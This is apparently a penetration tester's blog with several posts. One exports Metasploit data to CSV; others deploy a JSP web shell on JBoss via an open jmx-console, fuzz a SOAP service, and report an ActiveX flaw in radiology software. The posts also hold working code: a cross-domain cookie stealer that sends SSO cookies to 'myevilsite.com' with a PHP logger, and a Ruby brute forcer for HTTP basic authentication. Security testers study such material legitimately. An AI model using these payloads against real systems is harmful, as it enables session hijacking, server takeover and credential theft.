Wednesday, March 14, 2012

Exporting MSF database content into CSV format

Hello everyone. So you have imported nmap scans into metasploit and created a workspace for every vlan in scope and suddenly the client ask you to give him all nmap scans in CSV format. If that is the case then this post is for you. I assume that you have installed postgres on your system and correctly configured it to be used by metasploit. I also assume the name of the database used by metasploit is msf_database. This value can be found within the database.yml file in your framework-x.x.x/config directory. So let's start then. The following commands are all you need to export addresses, ports and services from workspace whose id equals 2.

sudo su
su postgres 
psql -d msf_database -f /tmp/msf_in.txt -o /tmp/msf_out.txt
cat /tmp/msf_out.txt | tr "|" ";" | cut -d ";" -f "2-4" > myfile.csv


Where the content of msf_in.txt is:

select workspaces.name, hosts.address, services.port,services.name from (services join hosts on services.host_id=hosts.id)join workspaces on hosts.workspace_id=workspaces.id where workspaces.id=2;

Friday, June 25, 2010

The curious case of JBoss Hacking

Hi everyone.

Today I'd like to talk about the Hacking of Jboss.

There are lots of resources on the net about it but maybe reading this article will hopefully help you when you come to a dead end because the configuration is not so standard.

The prerequisite is that you have access to the jmx-console as admin.
It is not so rare seeing jboss where the jmx-console is not password protected.

Well now what...

You would like to shovel your nice shell by using the addURL() function in the DeploymentScanner, but suddenly you think wtf ....the victim machine cannot connect to my web server on any port (no reverse, only bind allowed)

There is a workaround as described in this very detailed and nice paper:

http://www.redteam-pentesting.de/publications/jboss (Read it before going further on)

The technique described is about using another jboss class called: DeploymentFileRepository
at:


http://host:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository


and its very useful store() function.
but sometimes thing go wrong anyway when you realize that after posting your jsp code, it doesn't get deployed by Jboss.
This is due to the fact that path where your, say shell.war, dir resides is not in the list of the deploymentscanner url and so the hot deployment fails
The solution is to verify where is your directory by inducing the server to an error:

Function description:

void store()

MBean Operation.
Param ParamType ParamValue ParamDescription
p1 java.lang.String (no description)
p2 java.lang.String (no description)
p3 java.lang.String (no description)
p4 java.lang.String (no description)
p5 boolean True False (no description)

Expected values:
p1 = shell.war (your dir name)
p2 = shell (name of the jsp file containing the code)
p3 = .jsp (extension)
p4 = (jsp code)
p5 = true

Error inducing values:
p1 = ../shell.war
p2 = shell
p3 = .jsp
p4 =
p5 = true

Next check the following line:

java.lang.IllegalArgumentException: child '../helpme.war' should be a child of parent '/prd/jboss/bws/web/bws106/./deploy/management'
org.jboss.console.manager.DeploymentFileRepository.getFile(DeploymentFileRepository.java:151)

The path '/prd/jboss/bws/web/bws106/deploy/management' is where your shell.war is residing.
Now that we know it, we have only to use the addURL() function of the deploymentscanner class.

So head to:
http://host:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

Function description:

void addURL()

MBean Operation.
Param ParamType ParamValue ParamDescription
p1 java.lang.String (no description)


The url to input in the form relative to addURL() function is:
file:/prd/jboss/bws/web/bws106/deploy/management/

Note the trailing slash.

Now call your shell by loading the following url:

http://host:8080/shell/shell.jsp

Bye for now...

Tuesday, February 9, 2010

Ruby SOAP client with basic authentication and client certificate

During these days I had the need to do a pentest to a web service but since wsfuzzer wasn't working correctly I had to write my own ruby soap client that was able to connect to a ssl protected web service with client certificate and basic authentication.
After many hours spent looking for the suitable library, I've decided to use savon with ruby 1.8.7 (DON'T USE RUBY 1.9.1, it won't work).
First I had to convert 1 p12 certificate into 2 pem:
openssl pkcs12 -in global.p12 -out global.pem
Then we cut the private key part from global pem and copy it into protected_key.pem
and issue the command:
(you gotta provide the password of your private key)
mv global.pem cert.pem
openssl rsa -in protected_key.pem -out key.pem
The we can finally write the ruby code:

require 'rubygems'
require 'savon'
client = Savon::Client.new "https://example.com/services?wsdl" client.request.http.ssl_client_auth(
:cert = OpenSSL::X509::Certificate.new(File.read("cert.pem")),
:key = OpenSSL::PKey::RSA.new(File.read("key.pem")),
:verify_mode => OpenSSL::SSL::VERIFY_NONE )
#BASIC AUTHENTICATION
client.request.basic_auth "User", "Password"
puts client.wsdl.soap_actions
#puts client.wsdl.namespace_uri
#don't forget @inorder otherwise the client will send you key values in a different sequence different from #the one you wrote down
response = client.add_customer do |soap|
soap.body = {
:id =111,
:tel =1233,
:issuer =asder,
:payment_mode =1,
:alias =asd,
:@inorder = [:id, :tel, :issuer, :payment_mode, :alias] }
end
puts response.to_xml
Finally you have to add some permutation to your values to make it a real soap fuzzer. You can start by getting the file all_attacks.txt used by from WSFuzzer

Monday, January 25, 2010

How to steal cross domain cookies via double XSS

During a pentest to a big company using SSO (single-sign-on) system I found a stored xss in one of their site, call it "a.com". This site unfortunately doesn't partecipate in the SSO login system, so I had to devise a way to use it to steal the cookies from one of the SSO domains. After some tests I found that "b.com" (one of the SSO domains) was vulnerable to reflected xss, so by injecting an iframe in a.com that as a source was calling the vulnerable "b.com" url that in turn was loading an image that as a source was calling my server I managed to steal sso authenticated cookies. Let's see some code: (the code is taking advantage of jquery.js since it was originally loaded by a.com) The following code is an external js injected in the stored xss vulnerable parameter in "a.com"

$(document).ready(function() {
var el = document.createElement("iframe");
el.setAttribute('id', 'ifrm');
el.setAttribute('heigth', '0');
el.setAttribute('width', '0');
el.style.visibility="hidden";
document.body.appendChild(el);
url="http://www.b.com/index.php?query=%22%3CSCRIPT/SRC=http://myevilsite.com/Cookie_Stealer/ex.js?";
el.setAttribute('src', url);

});

where ex.js is:

var Image = document.createElement("img");
Image.setAttribute("width","30");
Image.src="http://myevilsite.com/Cookie_Stealer/stealer.php?c="+encodeURI(document.cookie)+"&location="+document.location;
and stealer.php code is:

<?php
$cookie = $_GET["c"];
echo $cookie;
$file = fopen("cookielog.txt", "a")
or die("Cannot open it");
fwrite($file, $cookie . "\n\n");
?>
Finally by visiting a.com while being logged to any of the SSO domains causes your credentials being sent to my server

Wednesday, October 21, 2009

Using REXML for parsing XSS Cheat Sheet

A small ruby snippets for parsing Xss cheat sheet at http://ha.ckers.org/xssAttacks.xml


#Coded by cl@rity533k@
#!/usr/bin/ruby
require 'rexml/document'
include REXML
if ARGV.length < 1 
     $stderr.puts("Usage: #{File.basename($0)} ")
exit
end

if File.file?("#{ARGV[0]}") == false then
$stderr.puts("ERROR: xml file not found: #{ARGV[0]}.")
exit
end

file = File.new("#{ARGV[0]}")
Prod_array = Array.new
doc = Document.new(file)
root = doc.root


for prt in root.elements.to_a("//attack/code")
p prt.text 
end


Tuesday, July 14, 2009

0-day ActiveX on Radiology Software

Hi everyone again!!
I'd like to report an undisclosed vulnerability I found in a very commonly used Radiology Software during a pentest in a Hospital.

Technical details:

To work propery the application installs a cab file called prjkillhome.cab containing our ActiveX control.
Using ComRaider we can see that this control uses a potentially noxious function called OpenShell.


By creating an html document that invokes it it's been possible to exploit it to run arbitrary code on the victim machine.
Following is a PoC that spawn calc.exe

Friday, July 3, 2009

Ruby Brute Forcer for Basic Authentication

Hi everyone since I've just started my coding in ruby, I'd like to give the Hacking community a small contribution. Here's a ruby script that given two files it attempts to brute force basic authentication login, like those of lotus notes or apache.

#!/bin/ruby
require 'net/http'
require 'timeout'

print ("

Basic Auth Bruteforcer
----------------------------
Usage: #{File.basename($0)} url uri 


")
if ARGV.length < 2
    $stderr.puts("Usage: #{File.basename($0)}  ")
    exit
end

url = "#{ARGV[0]}"
p url
uri = "#{ARGV[1]}"
p uri
username = IO.readlines("user.txt")
password = IO.readlines("password.txt")
resp = href = "";
begin
http = Net::HTTP.new(url, 80)
   #http.use_ssl = true
 username.each do |user|
  password.each do |pass|
  p "trying  #{user.chomp} with password #{pass.chomp}"
   Timeout::timeout(3) do
   http.start do |http|
   req = Net::HTTP::Get.new(uri, {"User-Agent" => "wget"})
   req.basic_auth(user.chomp, pass.chomp)
   response = http.request(req)
    case response
     when Net::HTTPOK
      p resp = response.body
     when Net::HTTPUnauthorized
      p 'Unauthorized'
     else 
      p 'error'
    end
   end
   end
  end
 end
 rescue
  $stderr.print "Connection Failed: " + $! + "\n"
 rescue Timeout::Error
  p "Problem Connecting"

end